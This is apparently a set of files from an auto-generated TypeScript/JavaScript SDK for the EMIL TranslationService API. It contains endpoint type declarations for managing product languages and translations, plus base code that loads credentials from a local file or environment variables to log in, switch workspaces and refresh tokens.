* @param {string} [expand] Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.&lt;br/&gt; &lt;br/&gt;
* @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: key&lt;/i&gt;
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
listTranslations(authorization?: string, pageSize?: number, pageToken?: string, filter?: string, search?: string, order?: string, expand?: string, filters?: string, options?: any): AxiosPromise<ListTranslationsResponseClass>;
/**
* This updates the product language with the specified id. **Required Permissions** \"translation-management.translations.update\"
* @summary Update the product language
* @param {UpdateProductLanguageRequestDto} updateProductLanguageRequestDto
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
updateProductLanguage(updateProductLanguageRequestDto: UpdateProductLanguageRequestDto, authorization?: string, options?: any): AxiosPromise<UpdateProductLanguageResponseClass>;
/**
* This uploads the translations for a given product. **Required Permissions** \"translation-management.translations.create\"
* @summary Create the product translations
* @param {string} productSlug
* @param {'German' | 'English' | 'Polish' | 'French' | 'Italian' | 'Spanish' | 'Portuguese' | 'Russian' | 'Japanese' | 'Chinese' | 'Korean' | 'Turkish' | 'Arabic' | 'Hindi' | 'Indonesian' | 'Thai' | 'Vietnamese' | 'Persian' | 'Romanian'} language
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {any} [file]
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
uploadProductTranslations(productSlug: string, language: 'German' | 'English' | 'Polish' | 'French' | 'Italian' | 'Spanish' | 'Portuguese' | 'Russian' | 'Japanese' | 'Chinese' | 'Korean' | 'Turkish' | 'Arabic' | 'Hindi' | 'Indonesian' | 'Thai' | 'Vietnamese' | 'Persian' | 'Romanian', authorization?: string, file?: any, options?: any): AxiosPromise<UploadProductTranslationsResponseClass>;
};
/**
* Request parameters for createProductLanguage operation in TranslationApi.
* @export
* @interface TranslationApiCreateProductLanguageRequest
*/
export interface TranslationApiCreateProductLanguageRequest {
/**
*
* @type {CreateProductLanguageRequestDto}
* @memberof TranslationApiCreateProductLanguage
*/
readonly createProductLanguageRequestDto: CreateProductLanguageRequestDto;
/**
* Bearer Token: provided by the login endpoint under the name accessToken.
* @type {string}
* @memberof TranslationApiCreateProductLanguage
*/
readonly authorization?: string;
}
/**
* Request parameters for deleteProductLanguage operation in TranslationApi.
* @export
* @interface TranslationApiDeleteProductLanguageRequest
*/
export interface TranslationApiDeleteProductLanguageRequest {
/**
* Id of the product language.
* @type {number}
* @memberof TranslationApiDeleteProductLanguage
*/
readonly id: number;
/**
* Bearer Token: provided by the login endpoint under the name accessToken.
* @type {string}
* @memberof TranslationApiDeleteProductLanguage
*/
readonly authorization?: string;
}
/**
* Request parameters for downloadProductTranslations operation in TranslationApi.
* @export
* @interface TranslationApiDownloadProductTranslationsRequest
*/
export interface TranslationApiDownloadProductTranslationsRequest {
/**
*
* @type {string}
* @memberof TranslationApiDownloadProductTranslations
*/
readonly productSlug: string;
/**
*
* @type {'German' | 'English' | 'Polish' | 'French' | 'Italian' | 'Spanish' | 'Portuguese' | 'Russian' | 'Japanese' | 'Chinese' | 'Korean' | 'Turkish' | 'Arabic' | 'Hindi' | 'Indonesian' | 'Thai' | 'Vietnamese' | 'Persian' | 'Romanian'}
* @memberof TranslationApiDownloadProductTranslations
*/
readonly language: 'German' | 'English' | 'Polish' | 'French' | 'Italian' | 'Spanish' | 'Portuguese' | 'Russian' | 'Japanese' | 'Chinese' | 'Korean' | 'Turkish' | 'Arabic' | 'Hindi' | 'Indonesian' | 'Thai' | 'Vietnamese' | 'Persian' | 'Romanian';
/**
* Bearer Token: provided by the login endpoint under the name accessToken.
* @type {string}
* @memberof TranslationApiDownloadProductTranslations
*/
readonly authorization?: string;
}
/**
* Request parameters for getProductLanguage operation in TranslationApi.
* @export
* @interface TranslationApiGetProductLanguageRequest
*/
export interface TranslationApiGetProductLanguageRequest {
/**
* Id of the product language.
* @type {number}
* @memberof TranslationApiGetProductLanguage
*/
readonly id: number;
/**
* Bearer Token: provided by the login endpoint under the name accessToken.
* @type {string}
* @memberof TranslationApiGetProductLanguage
*/
readonly authorization?: string;
}
/**
* Request parameters for listProductLanguages operation in TranslationApi.
* @export
* @interface TranslationApiListProductLanguagesRequest
*/
export interface TranslationApiListProductLanguagesRequest {
/**
* Bearer Token: provided by the login endpoint under the name accessToken.
* @type {string}
* @memberof TranslationApiListProductLanguages
*/
readonly authorization?: string;
/**
* A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10.
* @type {number}
* @memberof TranslationApiListProductLanguages
*/
readonly pageSize?: number;
/**
* A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken&#x3D;1, your subsequent call can include pageToken&#x3D;2 in order to fetch the next page of the list.
* @type {string}
* @memberof TranslationApiListProductLanguages
*/
readonly pageToken?: string;
/**
* Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, productSlug, language, isActive, translationStatus, createdAt, updateAt&lt;/i&gt;
* @type {string}
* @memberof TranslationApiListProductLanguages
*/
readonly filter?: string;
/**
* Search the response for matches in any searchable field. Use filter instead where possible for improved performance.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Searchable fields: id, language&lt;/i&gt;
* @type {string}
* @memberof TranslationApiListProductLanguages
*/
readonly search?: string;
/**
* Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, language, isActive, translationStatus, createdAt, updatedAt&lt;/i&gt;
* @type {string}
* @memberof TranslationApiListProductLanguages
*/
readonly order?: string;
/**
* Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.&lt;br/&gt; &lt;br/&gt;
* @type {string}
* @memberof TranslationApiListProductLanguages
*/
readonly expand?: string;
/**
* Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, productSlug, language, isActive, translationStatus, createdAt, updateAt&lt;/i&gt;
* @type {string}
* @memberof TranslationApiListProductLanguages
*/
readonly filters?: string;
}
/**
* Request parameters for listTranslations operation in TranslationApi.
* @export
* @interface TranslationApiListTranslationsRequest
*/
export interface TranslationApiListTranslationsRequest {
/**
* Bearer Token: provided by the login endpoint under the name accessToken.
* @type {string}
* @memberof TranslationApiListTranslations
*/
readonly authorization?: string;
/**
* A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10.
* @type {number}
* @memberof TranslationApiListTranslations
*/
readonly pageSize?: number;
/**
* A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken&#x3D;1, your subsequent call can include pageToken&#x3D;2 in order to fetch the next page of the list.
* @type {string}
* @memberof TranslationApiListTranslations
*/
readonly pageToken?: string;
/**
* Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: key&lt;/i&gt;
* @type {string}
* @memberof TranslationApiListTranslations
*/
readonly filter?: string;
/**
* Search the response for matches in any searchable field. Use filter instead where possible for improved performance.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Searchable fields: key&lt;/i&gt;
* @type {string}
* @memberof TranslationApiListTranslations
*/
readonly search?: string;
/**
* Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, createdAt, key&lt;/i&gt;
* @type {string}
* @memberof TranslationApiListTranslations
*/
readonly order?: string;
/**
* Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.&lt;br/&gt; &lt;br/&gt;
* @type {string}
* @memberof TranslationApiListTranslations
*/
readonly expand?: string;
/**
* Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: key&lt;/i&gt;
* @type {string}
* @memberof TranslationApiListTranslations
*/
readonly filters?: string;
}
/**
* Request parameters for updateProductLanguage operation in TranslationApi.
* @export
* @interface TranslationApiUpdateProductLanguageRequest
*/
export interface TranslationApiUpdateProductLanguageRequest {
/**
*
* @type {UpdateProductLanguageRequestDto}
* @memberof TranslationApiUpdateProductLanguage
*/
readonly updateProductLanguageRequestDto: UpdateProductLanguageRequestDto;
/**
* Bearer Token: provided by the login endpoint under the name accessToken.
* @type {string}
* @memberof TranslationApiUpdateProductLanguage
*/
readonly authorization?: string;
}
/**
* Request parameters for uploadProductTranslations operation in TranslationApi.
* @export
* @interface TranslationApiUploadProductTranslationsRequest
*/
export interface TranslationApiUploadProductTranslationsRequest {
/**
*
* @type {string}
* @memberof TranslationApiUploadProductTranslations
*/
readonly productSlug: string;
/**
*
* @type {'German' | 'English' | 'Polish' | 'French' | 'Italian' | 'Spanish' | 'Portuguese' | 'Russian' | 'Japanese' | 'Chinese' | 'Korean' | 'Turkish' | 'Arabic' | 'Hindi' | 'Indonesian' | 'Thai' | 'Vietnamese' | 'Persian' | 'Romanian'}
* @memberof TranslationApiUploadProductTranslations
*/
readonly language: 'German' | 'English' | 'Polish' | 'French' | 'Italian' | 'Spanish' | 'Portuguese' | 'Russian' | 'Japanese' | 'Chinese' | 'Korean' | 'Turkish' | 'Arabic' | 'Hindi' | 'Indonesian' | 'Thai' | 'Vietnamese' | 'Persian' | 'Romanian';
/**
* Bearer Token: provided by the login endpoint under the name accessToken.
* @type {string}
* @memberof TranslationApiUploadProductTranslations
*/
readonly authorization?: string;
/**
*
* @type {any}
* @memberof TranslationApiUploadProductTranslations
*/
readonly file?: any;
}
/**
* TranslationApi - object-oriented interface
* @export
* @class TranslationApi
* @extends {BaseAPI}
*/
export declare class TranslationApi extends BaseAPI {
/**
* This creates a product language. **Required Permissions** \"translation-management.translations.create\"
* @summary Create the product language
* @param {TranslationApiCreateProductLanguageRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof TranslationApi
*/
createProductLanguage(requestParameters: TranslationApiCreateProductLanguageRequest, options?: AxiosRequestConfig): Promise<import("axios").AxiosResponse<CreateProductLanguageResponseClass, any, {}>>;
/**
* Permanently deletes the product language. Supply the unique id that was returned when you created the product language and this will delete it. **Required Permissions** \"translation-management.translations.delete\"
* @summary Delete the product language
* @param {TranslationApiDeleteProductLanguageRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof TranslationApi
*/
deleteProductLanguage(requestParameters: TranslationApiDeleteProductLanguageRequest, options?: AxiosRequestConfig): Promise<import("axios").AxiosResponse<void, any, {}>>;
/**
* This downloads the list of translatable fields for a given product. **Required Permissions** \"translation-management.translations.view\"
* @summary Retrieve the product translations
* @param {TranslationApiDownloadProductTranslationsRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof TranslationApi
*/
downloadProductTranslations(requestParameters: TranslationApiDownloadProductTranslationsRequest, options?: AxiosRequestConfig): Promise<import("axios").AxiosResponse<any, any, {}>>;
/**
* This gets a product language. **Required Permissions** \"translation-management.translations.view\"
* @summary Retrieve the product language
* @param {TranslationApiGetProductLanguageRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof TranslationApi
*/
getProductLanguage(requestParameters: TranslationApiGetProductLanguageRequest, options?: AxiosRequestConfig): Promise<import("axios").AxiosResponse<GetProductLanguageResponseClass, any, {}>>;
/**
* Returns a list of product languages you have previously created. The product languages are returned in sorted order, with the oldest one appearing first. For more information about pagination, read the Pagination documentation. **Required Permissions** \"translation-management.translations.view\"
* @summary List product languages
* @param {TranslationApiListProductLanguagesRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof TranslationApi
*/
listProductLanguages(requestParameters?: TranslationApiListProductLanguagesRequest, options?: AxiosRequestConfig): Promise<import("axios").AxiosResponse<ListProductLanguagesResponseClass, any, {}>>;
/**
* Returns a list of translations you have previously created. The translations are returned in sorted order, with the oldest one appearing first. For more information about pagination, read the Pagination documentation. **Required Permissions** \"translation-management.translations.view\"
* @summary List translations
* @param {TranslationApiListTranslationsRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof TranslationApi
*/
listTranslations(requestParameters?: TranslationApiListTranslationsRequest, options?: AxiosRequestConfig): Promise<import("axios").AxiosResponse<ListTranslationsResponseClass, any, {}>>;
/**
* This updates the product language with the specified id. **Required Permissions** \"translation-management.translations.update\"
* @summary Update the product language
* @param {TranslationApiUpdateProductLanguageRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof TranslationApi
*/
updateProductLanguage(requestParameters: TranslationApiUpdateProductLanguageRequest, options?: AxiosRequestConfig): Promise<import("axios").AxiosResponse<UpdateProductLanguageResponseClass, any, {}>>;
/**
* This uploads the translations for a given product. **Required Permissions** \"translation-management.translations.create\"
* @summary Create the product translations
* @param {TranslationApiUploadProductTranslationsRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof TranslationApi
*/
uploadProductTranslations(requestParameters: TranslationApiUploadProductTranslationsRequest, options?: AxiosRequestConfig): Promise<import("axios").AxiosResponse<UploadProductTranslationsResponseClass, any, {}>>;
}

Sorry, the diff of this file is too big to display

/**
* EMIL TranslationService
* The EMIL TranslationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import { Configuration } from "./configuration";
import { AxiosInstance, AxiosRequestConfig } from 'axios';
export declare const BASE_PATH: string;
/**
*
* @export
*/
export declare const COLLECTION_FORMATS: {
csv: string;
ssv: string;
tsv: string;
pipes: string;
};
export interface LoginClass {
accessToken: string;
permissions: string;
}
export interface SwitchWorkspaceRequest {
username: string;
targetWorkspace: string;
}
export interface SwitchWorkspaceResponseClass {
accessToken: string;
permissions: string;
}
export declare enum Environment {
Production = "https://apiv2.emil.de",
Test = "https://apiv2-test.emil.de",
Staging = "https://apiv2-staging.emil.de",
Development = "https://apiv2-dev.emil.de",
ProductionZurich = "https://eu-central-2.apiv2.emil.de"
}
export declare function resetRetry(): void;
/**
*
* @export
* @interface RequestArgs
*/
export interface RequestArgs {
url: string;
options: AxiosRequestConfig;
}
/**
*
* @export
* @class BaseAPI
*/
export declare class BaseAPI {
protected basePath: string;
protected axios: AxiosInstance;
protected configuration: Configuration;
private username?;
private password?;
constructor(configuration?: Configuration, basePath?: string, axios?: AxiosInstance);
initialize(env?: Environment, targetWorkspace?: string): Promise<void>;
private loadCredentials;
private readConfigFile;
private readEnvVariables;
selectEnvironment(env: Environment): void;
authorize(username: string, password: string, targetWorkspace?: string): Promise<void>;
switchWorkspace(targetWorkspace: string): Promise<void>;
refreshTokenInternal(): Promise<string>;
private extractRefreshToken;
getConfiguration(): Configuration;
private attachInterceptor;
}
/**
*
* @export
* @class RequiredError
* @extends {Error}
*/
export declare class RequiredError extends Error {
field: string;
name: "RequiredError";
constructor(field: string, msg?: string);
}
"use strict";
/* tslint:disable */
/* eslint-disable */
/**
* EMIL TranslationService
* The EMIL TranslationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
var __extends = (this && this.__extends) || (function () {
var extendStatics = function (d, b) {
extendStatics = Object.setPrototypeOf ||
({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||
function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };
return extendStatics(d, b);
};
return function (d, b) {
if (typeof b !== "function" && b !== null)
throw new TypeError("Class extends value " + String(b) + " is not a constructor or null");
extendStatics(d, b);
function __() { this.constructor = d; }
d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());
};
})();
var __assign = (this && this.__assign) || function () {
__assign = Object.assign || function(t) {
for (var s, i = 1, n = arguments.length; i < n; i++) {
s = arguments[i];
for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p))
t[p] = s[p];
}
return t;
};
return __assign.apply(this, arguments);
};
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
var desc = Object.getOwnPropertyDescriptor(m, k);
if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
desc = { enumerable: true, get: function() { return m[k]; } };
}
Object.defineProperty(o, k2, desc);
}) : (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
o[k2] = m[k];
}));
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
Object.defineProperty(o, "default", { enumerable: true, value: v });
}) : function(o, v) {
o["default"] = v;
});
var __importStar = (this && this.__importStar) || function (mod) {
if (mod && mod.__esModule) return mod;
var result = {};
if (mod != null) for (var k in mod) if (k !== "default" && Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k);
__setModuleDefault(result, mod);
return result;
};
var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
return new (P || (P = Promise))(function (resolve, reject) {
function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
step((generator = generator.apply(thisArg, _arguments || [])).next());
});
};
var __generator = (this && this.__generator) || function (thisArg, body) {
var _ = { label: 0, sent: function() { if (t[0] & 1) throw t[1]; return t[1]; }, trys: [], ops: [] }, f, y, t, g;
return g = { next: verb(0), "throw": verb(1), "return": verb(2) }, typeof Symbol === "function" && (g[Symbol.iterator] = function() { return this; }), g;
function verb(n) { return function (v) { return step([n, v]); }; }
function step(op) {
if (f) throw new TypeError("Generator is already executing.");
while (g && (g = 0, op[0] && (_ = 0)), _) try {
if (f = 1, y && (t = op[0] & 2 ? y["return"] : op[0] ? y["throw"] || ((t = y["return"]) && t.call(y), 0) : y.next) && !(t = t.call(y, op[1])).done) return t;
if (y = 0, t) op = [op[0] & 2, t.value];
switch (op[0]) {
case 0: case 1: t = op; break;
case 4: _.label++; return { value: op[1], done: false };
case 5: _.label++; y = op[1]; op = [0]; continue;
case 7: op = _.ops.pop(); _.trys.pop(); continue;
default:
if (!(t = _.trys, t = t.length > 0 && t[t.length - 1]) && (op[0] === 6 || op[0] === 2)) { _ = 0; continue; }
if (op[0] === 3 && (!t || (op[1] > t[0] && op[1] < t[3]))) { _.label = op[1]; break; }
if (op[0] === 6 && _.label < t[1]) { _.label = t[1]; t = op; break; }
if (t && _.label < t[2]) { _.label = t[2]; _.ops.push(op); break; }
if (t[2]) _.ops.pop();
_.trys.pop(); continue;
}
op = body.call(thisArg, _);
} catch (e) { op = [6, e]; y = 0; } finally { f = t = 0; }
if (op[0] & 5) throw op[1]; return { value: op[0] ? op[1] : void 0, done: true };
}
};
var __importDefault = (this && this.__importDefault) || function (mod) {
return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", { value: true });
exports.RequiredError = exports.BaseAPI = exports.resetRetry = exports.Environment = exports.COLLECTION_FORMATS = exports.BASE_PATH = void 0;
var configuration_1 = require("./configuration");
// Some imports not used depending on template conditions
// @ts-ignore
var axios_1 = __importDefault(require("axios"));
var fs = __importStar(require("fs"));
var path = __importStar(require("path"));
var os = __importStar(require("os"));
exports.BASE_PATH = "https://apiv2.emil.de".replace(/\/+$/, "");
var CONFIG_DIRECTORY = '.emil';
var CONFIG_FILENAME = 'credentials';
var KEY_USERNAME = 'emil_username';
var KEY_PASSWORD = 'emil_password';
var filePath = os.homedir() + path.sep + CONFIG_DIRECTORY + path.sep + CONFIG_FILENAME;
/**
*
* @export
*/
exports.COLLECTION_FORMATS = {
csv: ",",
ssv: " ",
tsv: "\t",
pipes: "|",
};
var Environment;
(function (Environment) {
Environment["Production"] = "https://apiv2.emil.de";
Environment["Test"] = "https://apiv2-test.emil.de";
Environment["Staging"] = "https://apiv2-staging.emil.de";
Environment["Development"] = "https://apiv2-dev.emil.de";
Environment["ProductionZurich"] = "https://eu-central-2.apiv2.emil.de";
})(Environment = exports.Environment || (exports.Environment = {}));
var _retry_count = 0;
var _retry = null;
function resetRetry() {
_retry_count = 0;
}
exports.resetRetry = resetRetry;
var NETWORK_ERROR_MESSAGE = "Network Error";
/**
*
* @export
* @class BaseAPI
*/
var BaseAPI = /** @class */ (function () {
function BaseAPI(configuration, basePath, axios) {
if (basePath === void 0) { basePath = exports.BASE_PATH; }
if (axios === void 0) { axios = axios_1.default; }
this.basePath = basePath;
this.axios = axios;
if (configuration) {
this.configuration = configuration;
this.basePath = configuration.basePath || this.basePath;
}
else {
this.configuration = new configuration_1.Configuration({
basePath: this.basePath,
});
}
this.attachInterceptor(axios);
}
BaseAPI.prototype.initialize = function (env, targetWorkspace) {
if (env === void 0) { env = Environment.Production; }
return __awaiter(this, void 0, void 0, function () {
return __generator(this, function (_a) {
switch (_a.label) {
case 0:
this.configuration.basePath = env;
return [4 /*yield*/, this.loadCredentials()];
case 1:
_a.sent();
if (!this.username) return [3 /*break*/, 3];
return [4 /*yield*/, this.authorize(this.username, this.password, targetWorkspace)];
case 2:
_a.sent();
this.password = null; // to avoid keeping password loaded in memory.
_a.label = 3;
case 3: return [2 /*return*/];
}
});
});
};
BaseAPI.prototype.loadCredentials = function () {
return __awaiter(this, void 0, void 0, function () {
var error_1;
return __generator(this, function (_a) {
switch (_a.label) {
case 0:
_a.trys.push([0, 2, , 3]);
return [4 /*yield*/, this.readConfigFile()];
case 1:
_a.sent();
return [3 /*break*/, 3];
case 2:
error_1 = _a.sent();
console.warn("No credentials file found. Check that ".concat(filePath, " exists."));
return [3 /*break*/, 3];
case 3:
this.readEnvVariables();
if (!this.username) {
console.info("No credentials found in credentials file or environment variables. Either provide some or use \n authorize() function.");
}
return [2 /*return*/];
}
});
});
};
BaseAPI.prototype.readConfigFile = function () {
return __awaiter(this, void 0, void 0, function () {
var file, lines;
var _this = this;
return __generator(this, function (_a) {
switch (_a.label) {
case 0: return [4 /*yield*/, fs.promises.readFile(filePath, 'utf-8')];
case 1:
file = _a.sent();
lines = file.split(os.EOL)
.filter(Boolean);
lines.forEach(function (line) {
if (line.startsWith(KEY_USERNAME)) {
_this.username = line.length > KEY_USERNAME.length + 1 ? line.substring(KEY_USERNAME.length + 1) : '';
}
else if (line.startsWith(KEY_PASSWORD)) {
_this.password = line.length > KEY_PASSWORD.length + 1 ? line.substring(KEY_PASSWORD.length + 1) : '';
}
});
return [2 /*return*/];
}
});
});
};
BaseAPI.prototype.readEnvVariables = function () {
if (process.env.EMIL_USERNAME) {
this.username = process.env.EMIL_USERNAME;
this.password = process.env.EMIL_PASSWORD || '';
return true;
}
return false;
};
BaseAPI.prototype.selectEnvironment = function (env) {
this.configuration.basePath = env;
};
BaseAPI.prototype.authorize = function (username, password, targetWorkspace) {
return __awaiter(this, void 0, void 0, function () {
var options, response, accessToken, refreshToken;
return __generator(this, function (_a) {
switch (_a.label) {
case 0:
options = {
method: 'POST',
url: "".concat(this.configuration.basePath, "/authservice/v1/login"),
headers: { 'Content-Type': 'application/json' },
data: {
username: username,
password: password,
},
withCredentials: true,
};
return [4 /*yield*/, axios_1.default.request(options)];
case 1:
response = _a.sent();
accessToken = response.data.accessToken;
this.configuration.username = username;
this.configuration.accessToken = "Bearer ".concat(accessToken);
refreshToken = this.extractRefreshToken(response);
this.configuration.refreshToken = refreshToken;
if (!targetWorkspace) return [3 /*break*/, 3];
return [4 /*yield*/, this.switchWorkspace(targetWorkspace)];
case 2:
_a.sent();
_a.label = 3;
case 3: return [2 /*return*/];
}
});
});
};
BaseAPI.prototype.switchWorkspace = function (targetWorkspace) {
return __awaiter(this, void 0, void 0, function () {
var options, response, accessToken, refreshToken;
return __generator(this, function (_a) {
switch (_a.label) {
case 0:
options = {
method: 'POST',
url: "".concat(this.configuration.basePath, "/authservice/v1/workspaces/switch"),
headers: {
'Content-Type': 'application/json',
'Authorization': "Bearer ".concat(this.configuration.accessToken),
'Cookie': this.configuration.refreshToken,
},
data: {
username: this.configuration.username,
targetWorkspace: targetWorkspace,
},
withCredentials: true,
};
return [4 /*yield*/, axios_1.default.request(options)];
case 1:
response = _a.sent();
accessToken = response.data.accessToken;
this.configuration.accessToken = "Bearer ".concat(accessToken);
refreshToken = this.extractRefreshToken(response);
if (refreshToken) {
this.configuration.refreshToken = refreshToken;
}
return [2 /*return*/];
}
});
});
};
BaseAPI.prototype.refreshTokenInternal = function () {
return __awaiter(this, void 0, void 0, function () {
var _a, username, refreshToken, options, accessToken;
return __generator(this, function (_b) {
switch (_b.label) {
case 0:
_a = this.configuration, username = _a.username, refreshToken = _a.refreshToken;
if (!username || !refreshToken) {
return [2 /*return*/, ''];
}
options = {
method: 'POST',
url: "".concat(this.configuration.basePath, "/authservice/v1/refresh-token"),
headers: {
'Content-Type': 'application/json',
Cookie: refreshToken,
},
data: { username: username },
withCredentials: true,
};
return [4 /*yield*/, axios_1.default.request(options)];
case 1:
accessToken = (_b.sent()).data.accessToken;
return [2 /*return*/, accessToken];
}
});
});
};
BaseAPI.prototype.extractRefreshToken = function (response) {
if (response.headers && response.headers['set-cookie']
&& response.headers['set-cookie'].length > 0) {
return "".concat(response.headers['set-cookie'][0].split(';')[0], ";");
}
return '';
};
BaseAPI.prototype.getConfiguration = function () {
return this.configuration;
};
BaseAPI.prototype.attachInterceptor = function (axios) {
var _this = this;
axios.interceptors.response.use(function (res) {
return res;
}, function (err) { return __awaiter(_this, void 0, void 0, function () {
var originalConfig, tokenString, accessToken, _error_1, tokenString, accessToken, _error_2;
return __generator(this, function (_a) {
switch (_a.label) {
case 0:
originalConfig = err.config;
if (!err.response) return [3 /*break*/, 5];
if (!(err.response.status === 401 && !originalConfig._retry)) return [3 /*break*/, 4];
originalConfig._retry = true;
_a.label = 1;
case 1:
_a.trys.push([1, 3, , 4]);
return [4 /*yield*/, this.refreshTokenInternal()];
case 2:
tokenString = _a.sent();
accessToken = "Bearer ".concat(tokenString);
originalConfig.headers['Authorization'] = accessToken;
this.configuration.accessToken = accessToken;
return [2 /*return*/, axios.request(originalConfig)];
case 3:
_error_1 = _a.sent();
if (_error_1.response && _error_1.response.data) {
return [2 /*return*/, Promise.reject(_error_1.response.data)];
}
return [2 /*return*/, Promise.reject(_error_1)];
case 4:
if (err.response.status === 403 && err.response.data) {
return [2 /*return*/, Promise.reject(err.response.data)];
}
return [3 /*break*/, 9];
case 5:
if (!(err.message === NETWORK_ERROR_MESSAGE
&& err.isAxiosError
&& originalConfig.headers.hasOwnProperty('Authorization')
&& _retry_count < 4)) return [3 /*break*/, 9];
_retry_count++;
_a.label = 6;
case 6:
_a.trys.push([6, 8, , 9]);
return [4 /*yield*/, this.refreshTokenInternal()];
case 7:
tokenString = _a.sent();
accessToken = "Bearer ".concat(tokenString);
_retry = true;
originalConfig.headers['Authorization'] = accessToken;
this.configuration.accessToken = accessToken;
return [2 /*return*/, axios.request(__assign({}, originalConfig))];
case 8:
_error_2 = _a.sent();
if (_error_2.response && _error_2.response.data) {
return [2 /*return*/, Promise.reject(_error_2.response.data)];
}
return [2 /*return*/, Promise.reject(_error_2)];
case 9: return [2 /*return*/, Promise.reject(err)];
}
});
}); });
};
return BaseAPI;
}());
exports.BaseAPI = BaseAPI;
;
/**
*
* @export
* @class RequiredError
* @extends {Error}
*/
var RequiredError = /** @class */ (function (_super) {
__extends(RequiredError, _super);
function RequiredError(field, msg) {
var _this = _super.call(this, msg) || this;
_this.field = field;
_this.name = "RequiredError";
return _this;
}
return RequiredError;
}(Error));
exports.RequiredError = RequiredError;
/**
* EMIL TranslationService
* The EMIL TranslationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import { Configuration } from "./configuration";
import { RequestArgs } from "./base";
import { AxiosInstance, AxiosResponse } from 'axios';
import { URL } from 'url';
/**
*
* @export
*/
export declare const DUMMY_BASE_URL = "https://example.com";
/**
*
* @throws {RequiredError}
* @export
*/
export declare const assertParamExists: (functionName: string, paramName: string, paramValue: unknown) => void;
/**
*
* @export
*/
export declare const setApiKeyToObject: (object: any, keyParamName: string, configuration?: Configuration) => Promise<void>;
/**
*
* @export
*/
export declare const setBasicAuthToObject: (object: any, configuration?: Configuration) => void;
/**
*
* @export
*/
export declare const setBearerAuthToObject: (object: any, configuration?: Configuration) => Promise<void>;
/**
*
* @export
*/
export declare const setOAuthToObject: (object: any, name: string, scopes: string[], configuration?: Configuration) => Promise<void>;
/**
*
* @export
*/
export declare const setSearchParams: (url: URL, ...objects: any[]) => void;
/**
*
* @export
*/
export declare const serializeDataIfNeeded: (value: any, requestOptions: any, configuration?: Configuration) => any;
/**
*
* @export
*/
export declare const toPathString: (url: URL) => string;
/**
*
* @export
*/
